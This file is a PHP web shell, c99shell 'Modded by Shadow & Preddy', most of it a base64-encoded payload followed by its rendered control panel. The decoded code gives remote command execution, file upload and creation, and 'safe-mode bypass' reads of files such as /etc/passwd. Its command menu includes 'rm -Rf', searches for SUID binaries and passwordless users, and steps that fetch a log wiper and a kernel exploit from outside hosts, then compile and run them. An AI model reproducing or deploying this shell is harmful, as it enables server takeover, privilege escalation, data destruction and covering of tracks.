jwvYj48L3A+PC90ZD48L3RyPgo8dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+RW50ZXI6IDwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjbWQpOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIxIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPlNlbGVjdDogPC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21kIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iY21kIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PHNlbGVjdCBuYW1lPSJjbWQiPjw/cGhwIGZvcmVhY2ggKCRjbWRhbGlhc2VzIGFzICRhbHMpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMV0pLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1swXSkuIjwvb3B0aW9uPiI7fSA/Pjwvc2VsZWN0PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj48L2Zvcm0+PC90ZD48L3RyPjwvVEFCTEU+Cjxicj4KPFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxMTYiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPgo8dHI+PHRkIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50ZXIiPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCZkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPlNoYWRvdydzIHRyaWNrcyA6RCA8L2I+PC9hPiA6OjwvYj48L3A+PC90ZD48L3RyPgo8dHI+CiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPgogICAgPGRpdiBhbGlnbj0iY2VudGVyIj5Vc2VmdWwgQ29tbWFuZHMgCiAgICA8L2Rpdj4KICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPgogICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iY21kIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+CiAgICAgICAgICA8U0VMRUNUIE5BTUU9ImNtZCI+CiAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9InVuYW1lIC1hIj5LZXJuZWwgdmVyc2lvbgogICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9InciPkxvZ2dlZCBpbiB1c2VycwogICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0ibGFzdGxvZyI+TGFzdCB0byBjb25uZWN0CiAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImZpbmQgL2JpbiAvdXNyL2JpbiAvdXNyL2xvY2FsL2JpbiAvc2JpbiAvdXNyL3NiaW4gL3Vzci9sb2NhbC9zYmluIC1wZXJtIC00MDAwIDI+IC9kZXYvbnVsbCI+U3VpZCBiaW5zCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iY3V0IC1kOiAtZjEsMiwzIC9ldGMvcGFzc3dkIHwgZ3JlcCA6OiI+VVNFUiBXSVRIT1VUIFBBU1NXT1JEIQogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImZpbmQgL2V0Yy8gLXR5cGUgZiAtcGVybSAtbyt3IDI+IC9kZXYvbnVsbCI+V3JpdGUgaW4gL2V0Yy8/CiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0id2hpY2ggd2dldCBjdXJsIHczbSBseW54Ij5Eb3dubG9hZGVycz8KICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJjYXQgL3Byb2MvdmVyc2lvbiAvcHJvYy9jcHVpbmZvIj5DUFVJTkZPCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0ibmV0c3RhdCAtYXR1cCB8IGdyZXAgSVNUIj5PcGVuIHBvcnRzCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0ibG9jYXRlIGdjYyI+Z2NjIGluc3RhbGxlZD8KCQkJCQk8T1BUSU9OIFZBTFVFPSJybSAtUmYiPkZvcm1hdCBib3ggKERBTkdFUk9VUykKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ3Z2V0IGh0dHA6Ly93d3cucGFja2V0c3Rvcm1zZWN1cml0eS5vcmcvVU5JWC9wZW5ldHJhdGlvbi9sb2ctd2lwZXJzL3phcDIuYyI+V0lQRUxPR1MgUFQxIChJZiB3Z2V0IGluc3RhbGxlZCkKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJnY2MgemFwMi5jIC1vIHphcDIiPldJUEVMT0dTIFBUMgogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Ii4vemFwMiI+V0lQRUxPR1MgUFQzCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0id2dldCBodHRwOi8vZnRwLnBvd2VybmV0LmNvbS50ci9zdXBlcm1haWwvZGVidWcvazMiPktlcm5lbCBhdHRhY2sgKEtyYWQuYykgUFQxIChJZiB3Z2V0IGluc3RhbGxlZCkKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL2szIDEiPktlcm5lbCBhdHRhY2sgKEtyYWQuYykgUFQyIChMMSkKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL2szIDIiPktlcm5lbCBhdHRhY2sgKEtyYWQuYykgUFQyIChMMikKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL2szIDMiPktlcm5lbCBhdHRhY2sgKEtyYWQuYykgUFQyIChMMykKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL2szIDQiPktlcm5lbCBhdHRhY2sgKEtyYWQuYykgUFQyIChMNCkKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL2szIDUiPktlcm5lbCBhdHRhY2sgKEtyYWQuYykgUFQyIChMNSkKICAgICAgICAgICAgICAgICAgPC9TRUxFQ1Q+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIxIj4KICAgICAgICAmbmJzcDsKICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPgogICAgICAgICAgPGJyPgogICAgICAgIFdhcm5pbmcuIEtlcm5lbCBtYXkgYmUgYWxlcnRlZCB1c2luZyBoaWdoZXIgbGV2ZWxzIDwvZGl2PgogICAgPC9mb3JtPgogICAgPC90ZD4KICA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSI4MyIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+CiAgIDxjZW50ZXI+S2VybmVsIEluZm86IDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iaHR0cDovL2dvb2dsZS5jb20vc2VhcmNoIj4KICAgICAgPGlucHV0IG5hbWU9InEiIHR5cGU9InRleHQiIGlkPSJxIiB2YWx1ZT0iPD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSk7ID8+Ij4KICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2xpZW50IiB2YWx1ZT0iZmlyZWZveC1hIj4KCSAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmxzIiB2YWx1ZT0ib3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwiPgoJICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJobCIgdmFsdWU9ImVuIj4KCSAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaHMiIHZhbHVlPSJiN3AiPgoJICA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT0iYnRuRyIgVkFMVUU9IlNlYXJjaCI+CiAgICA8L2Zvcm0+PC9jZW50ZXI+CiAgICA8L3RkPgo8L3RyPjwvVEFCTEU+PGJyPgo8VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjExNiIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+Cjx0cj48dGQgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHAgYWxpZ249ImNlbnRlciI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21kJmQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGQpOyA/PiI+PGI+UHJlZGR5J3MgdHJpY2tzIDpEIDwvYj48L2E+IDo6PC9iPjwvcD48L3RkPjwvdHI+Cjx0cj4KICA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSI4MyIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+CiAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPlBocCBTYWZlLU1vZGUgQnlwYXNzIChSZWFkIEZpbGVzKQogICAgPC9kaXY+PGJyPgogICAgPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+CiAgICAgIDxkaXYgYWxpZ249ImNlbnRlciI+CiAgICAgIEZpbGU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBtZXRob2Q9ImdldCI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSZWFkIEZpbGUiPjxicj48YnI+IGVnOiAvZXRjL3Bhc3N3ZDxicj4KICAgICAgCiAgICAgIAogICAgICAKICAgICAgICAgICAKICAgICAgCiAgICAgIAogICAgICA8PwogICAgICAKICAgICAgZnVuY3Rpb24gcnNnX3JlYWQoKQoJewkKCSR0ZXN0PSIiOwoJJHRlbXA9dGVtcG5hbSgkdGVzdCwgImN4Iik7CgkkZmlsZT0kX0dFVFsnZmlsZSddOwkKCSRnZXQ9aHRtbHNwZWNpYWxjaGFycygkZmlsZSk7CgllY2hvICI8YnI+VHJ5aW5nIFRvIEdldCBGaWxlIDxmb250IGNvbG9yPSMwMDAwOTk+PGI+JGdldDwvYj48L2ZvbnQ+PGJyPiI7CglpZihjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kZmlsZSwgJHRlbXApKXsKCSRmaWNoaWVyID0gZm9wZW4oJHRlbXAsICJyIik7CgkkYWN0aW9uID0gZnJlYWQoJGZpY2hpZXIsIGZpbGVzaXplKCR0ZW1wKSk7CglmY2xvc2UoJGZpY2hpZXIpOwoJJHNvdXJjZT1odG1sc3BlY2lhbGNoYXJzKCRhY3Rpb24pOwoJZWNobyAiPGRpdiBjbGFzcz1cInNoZWxsXCI+PGI+U3RhcnQgJGdldDwvYj48YnI+PGJyPjxmb250IGNvbG9yPVwid2hpdGVcIj4kc291cmNlPC9mb250Pjxicj48Yj48YnI+RmluIDxmb250IGNvbG9yPSMwMDAwOTk+JGdldDwvZm9udD48L2I+IjsKCXVubGluaygkdGVtcCk7Cgl9IGVsc2UgewoJZGllKCI8Rk9OVCBDT0xPUj1cIlJFRFwiPjxDRU5URVI+U29ycnkuLi4gRmlsZQoJPEI+Ii5odG1sc3BlY2lhbGNoYXJzKCRmaWxlKS4iPC9CPiBkb3Nlbid0IGV4aXN0cyBvciB5b3UgZG9uJ3QgaGF2ZQoJYWNjZXNzLjwvQ0VOVEVSPjwvRk9OVD4iKTsKCQkJfQoJZWNobyAiPC9kaXY+IjsKCX0KCQoJaWYoaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpCnsKcnNnX3JlYWQoKTsKfQoJCgk/PgoJCgk8PwoJCglmdW5jdGlvbiByc2dfZ2xvYigpCnsKJGNoZW1pbj0kX0dFVFsnZGlyZWN0b3J5J107CiRmaWxlcyA9IGdsb2IoIiRjaGVtaW4qIik7CmVjaG8gIlRyeWluZyBUbyBMaXN0IEZvbGRlciA8Zm9udCBjb2xvcj0jMDAwMDk5PjxiPiRjaGVtaW48L2I+PC9mb250Pjxicj4iOwpmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKSB7CgllY2hvICI8cHJlPiI7CiAgIGVjaG8gIiRmaWxlbmFtZVxuIjsKICAgZWNobyAiPC9wcmU+IjsKfQp9CgppZihpc3NldCgkX0dFVFsnZGlyZWN0b3J5J10pKQp7CnJzZ19nbG9iKCk7Cn0KCj8+CgogICAgICAgICAgPGJyPgogICAgICA8L2Rpdj4KICAgIDwvZm9ybT4KICAgIDwvdGQ+CiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPgogICA8Y2VudGVyPlBocCBTYWZlLU1vZGUgQnlwYXNzIChMaXN0IERpcmVjdG9yaWVzKTogICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPgogICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPjxicj4KICAgICAgRGlyOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyZWN0b3J5IiBtZXRob2Q9ImdldCI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMaXN0IERpcmVjdG9yeSI+PGJyPjxicj4gZWc6IC9ldGMvPGJyPgoKICAgIDwvZm9ybT48L2NlbnRlcj4KICAgIDwvdGQ+CjwvdHI+PC9UQUJMRT48YnI+CjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+Cjx0cj4KIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PXNlYXJjaCZkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPlNlYXJjaDwvYj48L2E+IDo6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJzZWFyY2giPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2VhcmNoX25hbWUiIHNpemU9IjI5IiB2YWx1ZT0iKC4qKSI+Jm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJzZWFyY2hfbmFtZV9yZWdleHAiIHZhbHVlPSIxIiAgY2hlY2tlZD4gLSByZWdleHAmbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IlNlYXJjaCI+PC9mb3JtPjwvY2VudGVyPjwvcD48L3RkPgogPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9dXBsb2FkJmQ9PD9waHAgZWNobyAkdWQ7ID8+Ij48Yj5VcGxvYWQ8L2I+PC9hPiA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0idXBsb2FkIj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkZmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1pbmlmb3JtIiB2YWx1ZT0iMSI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJVcGxvYWQiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiBNYWtlIERpciA6OjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Im1rZGlyIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZGlyIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogTWFrZSBGaWxlIDo6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJta2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtmaWxlIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImZ0IiB2YWx1ZT0iZWRpdCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogR28gRGlyIDo6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibHMiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHbyI+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogR28gRmlsZSA6OjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImdvZmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHbyI+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTAgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iOTkwIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48cCBhbGlnbj0iY2VudGVyIj48Yj4tLVsgYzk5c2hlbGwgdi4gPD9waHAgZWNobyAkc2h2ZXI7ID8+IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWFib3V0Ij48dT48Yj5Nb2RkZWQgYnk8L2I+PC91PjwvYT4gU2hhZG93ICYgUHJlZGR5IHwgPGEgaHJlZj0iaHR0cDovL3Jvb3RzaGVsbC1zZWN1cml0eS5uZXQiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Sb290U2hlbGwgU2VjdXJpdHkgR3JvdXA8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjRkYwMDAwIj48L2ZvbnQ+IHwgR2VuZXJhdGlvbiB0aW1lOiA8P3BocCBlY2hvIHJvdW5kKGdldG1pY3JvdGltZSgpLXN0YXJ0dGltZSw0KTsgPz4gXS0tPC9iPjwvcD48L3RkPjwvdHI+PC90YWJsZT4KPC9ib2R5PjwvaHRtbD48P3BocCBjaGRpcigkbGFzdGRpcik7IGM5OXNoZXhpdCgpOw=='));
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | Generation time: 0.0119 ]--